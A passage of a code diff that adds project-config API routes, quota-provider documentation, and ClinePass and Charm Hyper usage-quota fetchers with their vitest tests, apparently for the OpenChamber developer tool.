expect(await runtime.resolveSharedPlansDir('project-test')).toBeNull();
|
||||
} finally {
|
||||
await cleanup();
|
||||
}
|
||||
});
|
||||
|
||||
it('reports a broken shared file as invalid and still serves the personal setup', async () => {
|
||||
const { runtime, tempRoot, cleanup } = await createRuntime();
|
||||
try {
|
||||
const repo = path.join(tempRoot, 'repo');
|
||||
await mkdir(path.join(repo, '.openchamber'), { recursive: true });
|
||||
await writeFile(path.join(repo, '.openchamber', 'project.json'), '{ broken');
|
||||
const projectId = createProjectIdFromPath(repo);
|
||||
await runtime.updateProjectSetup(projectId, { setupWorktree: ['mine'] });
|
||||
|
||||
const view = await runtime.readProjectSetup(projectId);
|
||||
expect(view.shared.status).toBe('invalid');
|
||||
expect(view.shared.reason).toMatch(/invalid JSON/);
|
||||
expect(view.setupWorktree).toEqual(['mine']);
|
||||
} finally {
|
||||
await cleanup();
|
||||
}
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,59 @@
|
||||
/**
|
||||
* Project setup routes: the client-owned part of a project's config file
|
||||
* (worktree setup commands, project actions, draft starters).
|
||||
*
|
||||
* These replace the shared UI's direct `/api/fs/*` access to
|
||||
* `~/.config/openchamber/projects/<projectId>.json`. The client no longer
|
||||
* resolves the home directory or composes the path, and every write goes
|
||||
* through the same lock the scheduled-task writers hold.
|
||||
*
|
||||
* `/api/projects` is on the JSON-body allowlist in `core-routes.js`, so
|
||||
* `req.body` is parsed here without a per-route parser.
|
||||
*/
|
||||
|
||||
import { isProjectSetupValidationError } from './project-setup.js';
|
||||
|
||||
const isObjectRecord = (value) => Boolean(value) && typeof value === 'object' && !Array.isArray(value);
|
||||
|
||||
const respondWithError = (res, error, fallbackMessage) => {
|
||||
const message = error instanceof Error ? error.message : fallbackMessage;
|
||||
if (isProjectSetupValidationError(error)) {
|
||||
return res.status(400).json({ error: message });
|
||||
}
|
||||
return res.status(500).json({ error: message || fallbackMessage });
|
||||
};
|
||||
|
||||
export const registerProjectSetupRoutes = (app, dependencies) => {
|
||||
const { projectConfigRuntime } = dependencies;
|
||||
|
||||
app.get('/api/projects/:projectId/config', async (req, res) => {
|
||||
try {
|
||||
return res.json(await projectConfigRuntime.readProjectSetup(req.params.projectId));
|
||||
} catch (error) {
|
||||
return respondWithError(res, error, 'Failed to read project config');
|
||||
}
|
||||
});
|
||||
|
||||
// The team's shared file in the checkout; see `updateSharedProjectSetup`.
|
||||
app.put('/api/projects/:projectId/config/shared', async (req, res) => {
|
||||
if (!isObjectRecord(req.body)) {
|
||||
return res.status(400).json({ error: 'Body must be an object' });
|
||||
}
|
||||
try {
|
||||
return res.json(await projectConfigRuntime.updateSharedProjectSetup(req.params.projectId, req.body));
|
||||
} catch (error) {
|
||||
return respondWithError(res, error, 'Failed to save the shared project config');
|
||||
}
|
||||
});
|
||||
|
||||
app.put('/api/projects/:projectId/config', async (req, res) => {
|
||||
if (!isObjectRecord(req.body)) {
|
||||
return res.status(400).json({ error: 'Body must be an object' });
|
||||
}
|
||||
try {
|
||||
return res.json(await projectConfigRuntime.updateProjectSetup(req.params.projectId, req.body));
|
||||
} catch (error) {
|
||||
return respondWithError(res, error, 'Failed to save project config');
|
||||
}
|
||||
});
|
||||
};
|
||||
@@ -3,6 +3,11 @@
|
||||
## Purpose
|
||||
This module fetches quota and usage signals for supported providers in the web server runtime.
|
||||
|
||||
Node server entrypoints apply `../network-defaults.js` before serving requests,
|
||||
including the daemon launched directly through `server/index.js`. Connection
|
||||
attempts get 5 seconds without changing address-family selection. The VS Code
|
||||
extension applies the same policy in its own process at activation.
|
||||
|
||||
## Entrypoints and structure
|
||||
- `packages/web/server/lib/quota/index.js`: public entrypoint imported by `packages/web/server/index.js`.
|
||||
- `packages/web/server/lib/quota/routes.js`: Express route registration for quota endpoints.
|
||||
@@ -18,6 +23,7 @@ These provider IDs are currently dispatchable via `fetchQuotaForProvider(provide
|
||||
| Provider ID | Display name | Module | Auth aliases/keys |
|
||||
| --- | --- | --- | --- |
|
||||
| `claude` | Claude | `providers/claude/` | Claude Code Keychain entry, Claude Code credentials file, OpenCode `auth.json` (`anthropic`, `claude`), `CLAUDE_CODE_OAUTH_TOKEN` |
|
||||
| `cline-pass` | ClinePass | `providers/cline-pass.js` | `cline-pass` (API key under `key` or `token`) |
|
||||
| `codex` | Codex | `providers/codex.js` | `openai`, `codex`, `chatgpt` |
|
||||
| `command-code` | Command Code | `providers/command-code.js` | `command-code` OAuth/API credential in OpenCode `auth.json`, or `COMMAND_CODE_API_KEY` |
|
||||
| `cursor` | Cursor | `providers/cursor.js` | Environment/token files, OpenChamber-managed credentials, or explicit one-time Cursor import |
|
||||
@@ -25,6 +31,7 @@ These provider IDs are currently dispatchable via `fetchQuotaForProvider(provide
|
||||
| `deepseek` | DeepSeek | `providers/deepseek.js` | `deepseek` (API key under `key` or `token`) |
|
||||
| `exe-dev` | exe.dev | `providers/exe-dev.js` | Usage API token stored under `~/.config/openchamber/quota/` |
|
||||
| `google` | Google | `providers/google/index.js` | `google`, `google.oauth`, Antigravity accounts file |
|
||||
| `hyper` | Charm Hyper | `providers/hyper.js` | `hyper` (API key under `key` or `token`) |
|
||||
| `github-copilot` | GitHub Copilot | `providers/copilot.js` | `github-copilot`, `copilot` |
|
||||
| `github-copilot-addon` | GitHub Copilot Add-on | `providers/copilot.js` | `github-copilot`, `copilot` |
|
||||
| `kimi-for-coding` | Kimi for Coding | `providers/kimi.js` | `kimi-for-coding`, `kimi` |
|
||||
@@ -34,7 +41,7 @@ These provider IDs are currently dispatchable via `fetchQuotaForProvider(provide
|
||||
| `zhipuai-coding-plan` | Zhipu AI Coding Plan | `providers/zhipuai-coding-plan.js` | `zhipuai-coding-plan`, `zhipuai`, `zhipu` |
|
||||
| `minimax-coding-plan` | MiniMax Coding Plan (minimax.io) | `providers/minimax-coding-plan.js` / `providers/minimax-shared.js` | `minimax-coding-plan` |
|
||||
| `minimax-cn-coding-plan` | MiniMax Coding Plan (minimaxi.com) | `providers/minimax-cn-coding-plan.js` / `providers/minimax-shared.js` | `minimax-cn-coding-plan` |
|
||||
| `ollama-cloud` | Ollama Cloud | `providers/ollama-cloud.js` | Manual cookie stored under `~/.config/openchamber/quota/` |
|
||||
| `ollama-cloud` | Ollama Cloud | `providers/ollama-cloud.js` | Manual cookie pasted into Settings (`aid=...; __Secure-session=...` from `ollama.com`), stored under `~/.config/openchamber/quota/` |
|
||||
| `wafer` | Wafer.ai | `providers/wafer.js` | `wafer`, `wafer-ai`, `wafer_ai`, `wafer.ai` |
|
||||
| `opencode-go` | OpenCode Go | `providers/opencode-go.js` | `opencode-go` API key from OpenCode `auth.json` |
|
||||
| `neuralwatt` | NeuralWatt | `providers/neuralwatt.js` | `neuralwatt` (API key under `key` or `token`) |
|
||||
@@ -90,6 +97,22 @@ In 2025/2026 MiniMax rebranded "Coding Plan" to "Token Plan" alongside the M3 mo
|
||||
- **model_remains array**: Now contains entries for multiple model categories (chat, speech, video, image). The provider selects the chat-model entry by matching `MiniMax-M*`, then `general`/`chat`/`text` by name, then any entry with a remaining percent.
|
||||
- **Window status**: The `current_interval_status` and `current_weekly_status` fields indicate whether a window is active. Status `3` means the window is not applicable for the current plan tier (e.g. legacy plans without weekly limits). The provider omits inactive windows.
|
||||
|
||||
## ClinePass quota semantics
|
||||
|
||||
ClinePass reads `data.limits` from its usage-limits endpoint. Web/Electron and
|
||||
VS Code accept only known window types with finite numeric or non-empty numeric
|
||||
string percentages. Invalid windows are skipped independently; no usable windows
|
||||
is a failed refresh, not zero usage. Both implementations choose a non-empty
|
||||
`key`, then `token`, and expose auth/fetch dependencies for focused tests.
|
||||
Saved UI provider-visibility lists remain authoritative; installations without a
|
||||
saved list include ClinePass through the provider registry.
|
||||
|
||||
## Charm Hyper balance semantics
|
||||
|
||||
`GET https://hyper.charm.land/v1/credits` returns a team's current Hypercredit balance, not a percentage or reset timestamp. The [Hyper FAQ](https://hyper.charm.land/faq) defines one Hypercredit as $0.05. Both runtimes expose `credits_balance` in dollars and `credits` as a numeric label under the UI's localized window title. Keep English unit text out of that numeric label.
|
||||
|
||||
Web and VS Code accept finite numeric balances and non-empty numeric strings. Missing, blank, or malformed balances remain explicit failures; zero is valid. Credential lookup uses a non-empty string `key`, then `token`, so malformed or blank keys cannot mark the provider configured or hide a valid fallback token. Hyper fetchers accept `readAuth` and `fetchImpl` dependencies for tests without replacing filesystem or auth modules.
|
||||
|
||||
## Kimi for Coding field semantics
|
||||
|
||||
`GET https://api.kimi.com/coding/v1/usages` is inconsistent about which field carries consumption:
|
||||
@@ -98,6 +121,10 @@ In 2025/2026 MiniMax rebranded "Coding Plan" to "Token Plan" alongside the M3 mo
|
||||
|
||||
The provider computes `usedPercent` from whichever of `used`/`remaining` is present (`used` takes precedence when both exist) rather than assuming one field name. Both `packages/web/server/lib/quota/providers/kimi.js` and `packages/vscode/src/quotaProviders.ts` (`fetchKimiQuota`) must stay in sync — the VS Code extension duplicates this parsing logic rather than importing it.
|
||||
|
||||
## Ollama Cloud settings-page shapes
|
||||
|
||||
Ollama Cloud authentication uses two cookies (`aid` and `__Secure-session`) pasted together as one single-line Cookie header value. Ollama serves two different `/settings` page shapes and `parseOllamaSettingsHtml` supports both: session/weekly/premium-interaction windows (percent-based plans) and a `monthly` window derived from "Monthly usage: $X of $Y used" (cost-based plans) with a symmetric `$X / $Y` money `valueLabel` that reads correctly in both used/remaining display modes. The "Extra usage" credits block is surfaced as a balance-only `credits_balance` window with a plain money `valueLabel` when present, matching the Codex/DeepSeek credits treatment ("Credits Balance" in the UI); a $0 balance is omitted instead of showing an empty credits row. Keep `packages/web/server/lib/quota/providers/ollama-cloud.js` and `packages/vscode/src/quotaProviders.ts` (`parseOllamaSettingsHtml`) in sync — the VS Code extension duplicates this parsing logic rather than importing it.
|
||||
|
||||
## GitHub Copilot quota semantics
|
||||
|
||||
GitHub Copilot usage exposes only the `premium_interactions` snapshot as the
|
||||
@@ -117,6 +144,16 @@ snapshot carries `entitlement`, `remaining`, `unlimited`, and
|
||||
- When entitlement/remaining are unusable, fall back to `100 - percent_remaining`.
|
||||
- Snapshots other than `premium_interactions` (legacy annual plans) yield zero windows.
|
||||
|
||||
## OpenRouter key semantics
|
||||
|
||||
OpenRouter quota reads `GET https://openrouter.ai/api/v1/key`, which is documented as callable with any valid API key. `GET /api/v1/credits` is documented as "Management key required" and is not used. Calling `/credits` with a normal inference key has been observed to return HTTP 200 with `{total_credits:0, total_usage:0}` rather than an error; this behavior is not documented and is why the old implementation silently rendered "$0.00 left · $0.00 spent". A `/credits` fallback for unlimited keys would render the same zeros, so unlimited keys report `usage_monthly` instead.
|
||||
|
||||
The documented `limit`, `limit_remaining`, and `limit_reset` fields are present and null on unlimited keys; null means unlimited, never missing data. For a limited key, window usage is `limit - limit_remaining`, not `usage`: `usage` is all-time and measures a different axis from the current reset window. Pairing `usage` with the current limit produces a wrong number. `limit_remaining` is server-computed and already honors `include_byok_in_limit`, so `byok_*` fields are ignored.
|
||||
|
||||
Unlimited keys report `usage_monthly` in a `monthly` window with no percent. `limit_reset` is a period string (`daily`, `weekly`, `monthly`, or null), not a timestamp; `resetAt` is derived from the documented midnight-UTC boundaries, with weeks starting Monday. A set `limit` with a null `limit_reset` is a lifetime cap and maps to the `credits` window with no reset.
|
||||
|
||||
Keep `packages/web/server/lib/quota/providers/openrouter.js` and `packages/vscode/src/quotaProviders.ts` in sync, as with the Kimi and Copilot providers; the VS Code extension duplicates this parsing logic rather than importing the web provider.
|
||||
|
||||
## Notes for contributors
|
||||
- Keep provider IDs stable; clients use them directly.
|
||||
- Avoid adding alias-based dispatch in `fetchQuotaForProvider`; dispatch currently expects exact provider IDs.
|
||||
|
||||
@@ -14,6 +14,7 @@ export {
|
||||
fetchCodexQuota,
|
||||
fetchCursorQuota,
|
||||
fetchDeepseekQuota,
|
||||
fetchHyperQuota,
|
||||
fetchCopilotQuota,
|
||||
fetchCopilotAddonQuota,
|
||||
fetchKimiQuota,
|
||||
|
||||
@@ -0,0 +1,125 @@
|
||||
import { readAuthFile } from '../../opencode/auth.js';
|
||||
import {
|
||||
getAuthEntry,
|
||||
normalizeAuthEntry,
|
||||
asObject,
|
||||
asNonEmptyString,
|
||||
buildResult,
|
||||
toUsageWindow,
|
||||
toNumber,
|
||||
toTimestamp
|
||||
} from '../utils/index.js';
|
||||
|
||||
export const providerId = 'cline-pass';
|
||||
export const providerName = 'ClinePass';
|
||||
export const aliases = ['cline-pass'];
|
||||
const CLINE_USAGE_URL = 'https://api.cline.bot/api/v1/users/me/plan/usage-limits';
|
||||
|
||||
// Cline reports a rolling five-hour window, a rolling weekly window, and a
|
||||
// calendar-month limit. Each window carries its duration so consumers can rank
|
||||
// limits by how soon they run out; the calendar month has no fixed duration.
|
||||
const WINDOW_KINDS = new Map([
|
||||
['five_hour', { key: '5h', windowSeconds: 5 * 60 * 60 }],
|
||||
['weekly', { key: 'weekly', windowSeconds: 7 * 24 * 60 * 60 }],
|
||||
['monthly', { key: 'monthly', windowSeconds: null }]
|
||||
]);
|
||||
|
||||
const getApiKey = (auth) => {
|
||||
const entry = normalizeAuthEntry(getAuthEntry(auth, aliases));
|
||||
return asNonEmptyString(entry?.key) ?? asNonEmptyString(entry?.token);
|
||||
};
|
||||
|
||||
export const isConfigured = (auth = readAuthFile()) => Boolean(getApiKey(auth));
|
||||
|
||||
export const fetchQuota = async ({ readAuth = readAuthFile, fetchImpl = fetch } = {}) => {
|
||||
const apiKey = getApiKey(readAuth());
|
||||
|
||||
if (!apiKey) {
|
||||
return buildResult({
|
||||
providerId,
|
||||
providerName,
|
||||
ok: false,
|
||||
configured: false,
|
||||
error: 'Not configured'
|
||||
});
|
||||
}
|
||||
|
||||
const timeoutSignal = AbortSignal.timeout(15_000);
|
||||
|
||||
try {
|
||||
const response = await fetchImpl(CLINE_USAGE_URL, {
|
||||
method: 'GET',
|
||||
headers: {
|
||||
Authorization: `Bearer ${apiKey}`,
|
||||
'Accept-Encoding': 'identity'
|
||||
},
|
||||
signal: timeoutSignal
|
||||
});
|
||||
|
||||
if (!response.ok) {
|
||||
return buildResult({
|
||||
providerId,
|
||||
providerName,
|
||||
ok: false,
|
||||
configured: true,
|
||||
error: response.status === 401
|
||||
? 'Session expired — please re-authenticate with ClinePass'
|
||||
: `API error: ${response.status}`
|
||||
});
|
||||
}
|
||||
|
||||
const payload = asObject(await response.json());
|
||||
const data = asObject(payload?.data);
|
||||
const limits = Array.isArray(data?.limits) ? data.limits : [];
|
||||
|
||||
const windows = {};
|
||||
for (const item of limits) {
|
||||
const limit = asObject(item);
|
||||
if (!limit) continue;
|
||||
const kind = WINDOW_KINDS.get(asNonEmptyString(limit.type));
|
||||
if (!kind) continue;
|
||||
const usedPercent = toNumber(asNonEmptyString(limit.percentUsed)
|
||||
?? (Number.isFinite(limit.percentUsed) ? limit.percentUsed : null));
|
||||
if (usedPercent === null) continue;
|
||||
windows[kind.key] = toUsageWindow({
|
||||
usedPercent,
|
||||
windowSeconds: kind.windowSeconds,
|
||||
resetAt: toTimestamp(limit.resetsAt)
|
||||
});
|
||||
}
|
||||
|
||||
if (Object.keys(windows).length === 0) {
|
||||
return buildResult({
|
||||
providerId,
|
||||
providerName,
|
||||
ok: false,
|
||||
configured: true,
|
||||
error: 'No quota data in response'
|
||||
});
|
||||
}
|
||||
|
||||
return buildResult({
|
||||
providerId,
|
||||
providerName,
|
||||
ok: true,
|
||||
configured: true,
|
||||
usage: { windows }
|
||||
});
|
||||
} catch (error) {
|
||||
const isTimeout = error instanceof DOMException && (
|
||||
error.name === 'TimeoutError' || (error.name === 'AbortError' && timeoutSignal.aborted)
|
||||
);
|
||||
const isParseError = error instanceof SyntaxError;
|
||||
return buildResult({
|
||||
providerId,
|
||||
providerName,
|
||||
ok: false,
|
||||
configured: true,
|
||||
error: isTimeout
|
||||
? 'Request timed out'
|
||||
: isParseError
|
||||
? 'Invalid response from provider'
|
||||
: (error instanceof Error ? error.message : 'Request failed')
|
||||
});
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,103 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import { fetchQuota, isConfigured } from './cline-pass.js';
|
||||
|
||||
const readAuth = () => ({ 'cline-pass': { key: 'test-token' } });
|
||||
|
||||
// Response shape verified by the contributor against the live ClinePass API.
|
||||
const documentedPayload = {
|
||||
data: { limits: [
|
||||
{ type: 'five_hour', percentUsed: 43, resetsAt: '2026-09-08T17:00:44.598174595Z' },
|
||||
{ type: 'weekly', percentUsed: 17 },
|
||||
{ type: 'monthly', percentUsed: 8 },
|
||||
] },
|
||||
success: true,
|
||||
};
|
||||
|
||||
describe('ClinePass quota provider', () => {
|
||||
it('maps the documented windows and sends credentials only in headers', async () => {
|
||||
const result = await fetchQuota({ readAuth, fetchImpl: async (url, options) => {
|
||||
expect(url).toBe('https://api.cline.bot/api/v1/users/me/plan/usage-limits');
|
||||
expect(new Headers(options.headers).get('Authorization')).toBe('Bearer test-token');
|
||||
expect(options.signal).toBeInstanceOf(AbortSignal);
|
||||
return Response.json(documentedPayload);
|
||||
} });
|
||||
expect(result.ok).toBe(true);
|
||||
expect(result.providerId).toBe('cline-pass');
|
||||
expect(Object.keys(result.usage.windows)).toEqual(['5h', 'weekly', 'monthly']);
|
||||
expect(result.usage.windows['5h'].usedPercent).toBe(43);
|
||||
expect(result.usage.windows['5h'].remainingPercent).toBe(57);
|
||||
expect(result.usage.windows['5h'].windowSeconds).toBe(18_000);
|
||||
expect(result.usage.windows['5h'].resetAt).toBe(Date.parse('2026-09-08T17:00:44.598174595Z'));
|
||||
expect(result.usage.windows.weekly.usedPercent).toBe(17);
|
||||
expect(result.usage.windows.weekly.windowSeconds).toBe(604_800);
|
||||
expect(result.usage.windows.monthly.usedPercent).toBe(8);
|
||||
expect(result.usage.windows.monthly.windowSeconds).toBeNull();
|
||||
expect(JSON.stringify(result)).not.toContain('test-token');
|
||||
});
|
||||
|
||||
it.each([0, '0', '51'])('accepts finite percentage %s', async (percentUsed) => {
|
||||
const result = await fetchQuota({ readAuth, fetchImpl: async () => Response.json({ data: { limits: [{ type: 'weekly', percentUsed }] } }) });
|
||||
expect(result.ok).toBe(true);
|
||||
expect(result.usage.windows.weekly.usedPercent).toBe(Number(percentUsed));
|
||||
});
|
||||
|
||||
it.each([
|
||||
{ type: 'constructor', percentUsed: 5 }, { type: 'toString', percentUsed: 5 },
|
||||
{ type: '__proto__', percentUsed: 5 }, { type: 'quarterly', percentUsed: 5 },
|
||||
{ type: 'weekly', percentUsed: '' }, { type: 'weekly', percentUsed: ' ' },
|
||||
{ type: 'weekly', percentUsed: null }, { type: 'weekly', percentUsed: true },
|
||||
{ type: 'weekly', percentUsed: 'NaN' }, null,
|
||||
])('ignores malformed windows without discarding valid siblings: %j', async (limit) => {
|
||||
const invalid = await fetchQuota({ readAuth, fetchImpl: async () => Response.json({ data: { limits: [limit] } }) });
|
||||
expect(invalid.ok).toBe(false);
|
||||
expect(invalid.configured).toBe(true);
|
||||
expect(invalid.usage).toBeNull();
|
||||
const mixed = await fetchQuota({ readAuth, fetchImpl: async () => Response.json({ data: { limits: [limit, { type: 'monthly', percentUsed: 8 }] } }) });
|
||||
expect(mixed.ok).toBe(true);
|
||||
expect(Object.keys(mixed.usage.windows)).toEqual(['monthly']);
|
||||
});
|
||||
|
||||
it.each([null, [], {}, { data: null }, { data: { limits: [] } }])('rejects empty or malformed payload %j', async (payload) => {
|
||||
const result = await fetchQuota({ readAuth, fetchImpl: async () => Response.json(payload) });
|
||||
expect(result.ok).toBe(false);
|
||||
expect(result.usage).toBeNull();
|
||||
expect(result.error).toBe('No quota data in response');
|
||||
});
|
||||
|
||||
it.each([{ key: '' }, { key: ' ' }, { key: 42 }, {}])('uses a usable token when the key is malformed: %j', async (entry) => {
|
||||
const auth = { 'cline-pass': { ...entry, token: 'test-token' } };
|
||||
expect(isConfigured(auth)).toBe(true);
|
||||
const result = await fetchQuota({ readAuth: () => auth, fetchImpl: async (_url, options) => {
|
||||
expect(new Headers(options.headers).get('Authorization')).toBe('Bearer test-token');
|
||||
return Response.json(documentedPayload);
|
||||
} });
|
||||
expect(result.ok).toBe(true);
|
||||
});
|
||||
|
||||
it.each([{}, { 'cline-pass': { key: '' } }, { 'cline-pass': { key: 42 } }])('does not fetch without usable credentials: %j', async (auth) => {
|
||||
expect(isConfigured(auth)).toBe(false);
|
||||
const result = await fetchQuota({ readAuth: () => auth, fetchImpl: async () => { throw new Error('Unexpected fetch'); } });
|
||||
expect(result.configured).toBe(false);
|
||||
expect(result.error).toBe('Not configured');
|
||||
});
|
||||
|
||||
it.each([[401, 'Session expired — please re-authenticate with ClinePass'], [503, 'API error: 503']])('reports HTTP %s', async (status, error) => {
|
||||
const result = await fetchQuota({ readAuth, fetchImpl: async () => new Response(null, { status }) });
|
||||
expect(result.ok).toBe(false);
|
||||
expect(result.usage).toBeNull();
|
||||
expect(result.error).toBe(error);
|
||||
});
|
||||
|
||||
it('reports invalid JSON', async () => {
|
||||
const result = await fetchQuota({ readAuth, fetchImpl: async () => new Response('{') });
|
||||
expect(result.error).toBe('Invalid response from provider');
|
||||
});
|
||||
|
||||
it('recognizes the timeout exception from AbortSignal.timeout', async () => {
|
||||
const result = await fetchQuota({ readAuth, fetchImpl: async () => { throw new DOMException('Timed out', 'TimeoutError'); } });
|
||||
expect(result.ok).toBe(false);
|
||||
expect(result.configured).toBe(true);
|
||||
expect(result.usage).toBeNull();
|
||||
expect(result.error).toBe('Request timed out');
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,118 @@
|
||||
import { readAuthFile } from '../../opencode/auth.js';
|
||||
import {
|
||||
getAuthEntry,
|
||||
normalizeAuthEntry,
|
||||
buildResult,
|
||||
toUsageWindow,
|
||||
toNumber,
|
||||
formatMoney,
|
||||
asObject,
|
||||
asNonEmptyString
|
||||
} from '../utils/index.js';
|
||||
|
||||
export const providerId = 'hyper';
|
||||
export const providerName = 'Charm Hyper';
|
||||
export const aliases = ['hyper'];
|
||||
const HYPER_QUOTA_URL = 'https://hyper.charm.land/v1/credits';
|
||||
const CREDIT_TO_USD = 0.05;
|
||||
|
||||
const getApiKey = (auth) => {
|
||||
const entry = normalizeAuthEntry(getAuthEntry(auth, aliases));
|
||||
return asNonEmptyString(entry?.key) ?? asNonEmptyString(entry?.token);
|
||||
};
|
||||
|
||||
export const isConfigured = (auth = readAuthFile()) => Boolean(getApiKey(auth));
|
||||
|
||||
export const fetchQuota = async ({ readAuth = readAuthFile, fetchImpl = fetch } = {}) => {
|
||||
const apiKey = getApiKey(readAuth());
|
||||
|
||||
if (!apiKey) {
|
||||
return buildResult({
|
||||
providerId,
|
||||
providerName,
|
||||
ok: false,
|
||||
configured: false,
|
||||
error: 'Not configured'
|
||||
});
|
||||
}
|
||||
|
||||
const timeoutSignal = AbortSignal.timeout(15_000);
|
||||
|
||||
try {
|
||||
const response = await fetchImpl(HYPER_QUOTA_URL, {
|
||||
method: 'GET',
|
||||
headers: {
|
||||
Authorization: `Bearer ${apiKey}`,
|
||||
'Accept-Encoding': 'identity'
|
||||
},
|
||||
signal: timeoutSignal
|
||||
});
|
||||
|
||||
if (!response.ok) {
|
||||
return buildResult({
|
||||
providerId,
|
||||
providerName,
|
||||
ok: false,
|
||||
configured: true,
|
||||
error: response.status === 401 || response.status === 403
|
||||
? 'Session expired — please re-authenticate with Charm Hyper'
|
||||
: `API error: ${response.status}`
|
||||
});
|
||||
}
|
||||
|
||||
const payload = asObject(await response.json());
|
||||
const rawBalance = payload?.balance;
|
||||
const balance = toNumber(asNonEmptyString(rawBalance)
|
||||
?? (Number.isFinite(rawBalance) ? rawBalance : null));
|
||||
|
||||
if (balance === null) {
|
||||
return buildResult({
|
||||
providerId,
|
||||
providerName,
|
||||
ok: false,
|
||||
configured: true,
|
||||
error: 'No quota data in response'
|
||||
});
|
||||
}
|
||||
|
||||
const creditsLabel = Number.isInteger(balance) ? String(balance) : formatMoney(balance);
|
||||
const windows = {
|
||||
credits_balance: toUsageWindow({
|
||||
usedPercent: null,
|
||||
windowSeconds: null,
|
||||
resetAt: null,
|
||||
valueLabel: `$${formatMoney(balance * CREDIT_TO_USD)}`
|
||||
}),
|
||||
credits: toUsageWindow({
|
||||
usedPercent: null,
|
||||
windowSeconds: null,
|
||||
resetAt: null,
|
||||
valueLabel: creditsLabel
|
||||
})
|
||||
};
|
||||
|
||||
return buildResult({
|
||||
providerId,
|
||||
providerName,
|
||||
ok: true,
|
||||
configured: true,
|
||||
usage: { windows }
|
||||
});
|
||||
} catch (error) {
|
||||
const isTimeout = error instanceof DOMException && (
|
||||
error.name === 'TimeoutError' || (error.name === 'AbortError' && timeoutSignal.aborted)
|
||||
);
|
||||
const isParseError = error instanceof SyntaxError;
|
||||
return buildResult({
|
||||
providerId,
|
||||
providerName,
|
||||
ok: false,
|
||||
configured: true,
|
||||
error: isTimeout
|
||||
? 'Request timed out'
|
||||
: isParseError
|
||||
? 'Invalid response from provider'
|
||||
: (error instanceof Error ? error.message : 'Request failed')
|
||||
});
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,126 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import { fetchQuota, isConfigured } from './hyper.js';
|
||||
|
||||
const readAuth = () => ({ hyper: { key: 'test-token' } });
|
||||
|
||||
// https://hyper.charm.land/docs/api/credits.html documents the balance payload.
|
||||
// https://hyper.charm.land/faq defines one Hypercredit as $0.05.
|
||||
describe('Charm Hyper quota provider', () => {
|
||||
it.each([
|
||||
[100, '100', '$5.00'],
|
||||
['50', '50', '$2.50'],
|
||||
[25.5, '25.50', '$1.28'],
|
||||
[0, '0', '$0.00'],
|
||||
['0', '0', '$0.00'],
|
||||
])('formats balance %s without an untranslated unit', async (balance, credits, dollars) => {
|
||||
const result = await fetchQuota({
|
||||
readAuth,
|
||||
fetchImpl: async () => Response.json({ balance }),
|
||||
});
|
||||
|
||||
expect(result.ok).toBe(true);
|
||||
expect(result.providerId).toBe('hyper');
|
||||
expect(result.configured).toBe(true);
|
||||
expect(result.usage.windows.credits.valueLabel).toBe(credits);
|
||||
expect(result.usage.windows.credits_balance.valueLabel).toBe(dollars);
|
||||
for (const window of Object.values(result.usage.windows)) {
|
||||
expect(window.usedPercent).toBeNull();
|
||||
expect(window.remainingPercent).toBeNull();
|
||||
expect(window.windowSeconds).toBeNull();
|
||||
expect(window.resetAt).toBeNull();
|
||||
expect(window.resetAfterSeconds).toBeNull();
|
||||
}
|
||||
});
|
||||
|
||||
it.each([
|
||||
{}, null, [], { balance: '' }, { balance: ' \t ' }, { balance: 'NaN' },
|
||||
{ balance: 'Infinity' }, { balance: null }, { balance: true }, { balance: [] },
|
||||
{ balance: {} },
|
||||
])('rejects invalid payload %j instead of showing zero', async (payload) => {
|
||||
const result = await fetchQuota({ readAuth, fetchImpl: async () => Response.json(payload) });
|
||||
|
||||
expect(result.ok).toBe(false);
|
||||
expect(result.configured).toBe(true);
|
||||
expect(result.error).toBe('No quota data in response');
|
||||
expect(result.usage).toBeNull();
|
||||
});
|
||||
|
||||
it.each([
|
||||
{ hyper: { key: 'test-token' } },
|
||||
{ hyper: { token: 'test-token' } },
|
||||
{ hyper: 'test-token' },
|
||||
{ hyper: { key: ' ', token: 'test-token' } },
|
||||
{ hyper: { key: 42, token: 'test-token' } },
|
||||
])('uses a validated credential for the documented request', async (auth) => {
|
||||
expect(isConfigured(auth)).toBe(true);
|
||||
let requests = 0;
|
||||
const result = await fetchQuota({
|
||||
readAuth: () => auth,
|
||||
fetchImpl: async (url, options) => {
|
||||
requests += 1;
|
||||
expect(url).toBe('https://hyper.charm.land/v1/credits');
|
||||
expect(options.method).toBe('GET');
|
||||
expect(new Headers(options.headers).get('Authorization')).toBe('Bearer test-token');
|
||||
expect(options.signal).toBeInstanceOf(AbortSignal);
|
||||
return Response.json({ balance: 100 });
|
||||
},
|
||||
});
|
||||
|
||||
expect(requests).toBe(1);
|
||||
expect(result.ok).toBe(true);
|
||||
expect(JSON.stringify(result)).not.toContain('test-token');
|
||||
});
|
||||
|
||||
it.each([{}, { hyper: { key: '' } }, { hyper: { key: ' ' } }, { hyper: { key: 42 } }])(
|
||||
'does not request usage without a valid credential',
|
||||
async (auth) => {
|
||||
expect(isConfigured(auth)).toBe(false);
|
||||
let requests = 0;
|
||||
const result = await fetchQuota({
|
||||
readAuth: () => auth,
|
||||
fetchImpl: async () => {
|
||||
requests += 1;
|
||||
return Response.json({ balance: 100 });
|
||||
},
|
||||
});
|
||||
|
||||
expect(requests).toBe(0);
|
||||
expect(result.ok).toBe(false);
|
||||
expect(result.configured).toBe(false);
|
||||
expect(result.error).toBe('Not configured');
|
||||
},
|
||||
);
|
||||
|
||||
it.each([
|
||||
[401, 'Session expired — please re-authenticate with Charm Hyper'],
|
||||
[403, 'Session expired — please re-authenticate with Charm Hyper'],
|
||||
[429, 'API error: 429'],
|
||||
[500, 'API error: 500'],
|
||||
])('reports HTTP %s as a failure', async (status, error) => {
|
||||
const result = await fetchQuota({ readAuth, fetchImpl: async () => new Response(null, { status }) });
|
||||
|
||||
expect(result.ok).toBe(false);
|
||||
expect(result.configured).toBe(true);
|
||||
expect(result.error).toBe(error);
|
||||
expect(result.usage).toBeNull();
|
||||
});
|
||||
|
||||
it('reports invalid JSON as a parse failure', async () => {
|
||||
const result = await fetchQuota({ readAuth, fetchImpl: async () => new Response('{') });
|
||||
expect(result.error).toBe('Invalid response from provider');
|
||||
expect(result.ok).toBe(false);
|
||||
expect(result.configured).toBe(true);
|
||||
expect(result.usage).toBeNull();
|
||||
});
|
||||
|
||||
it.each([
|
||||
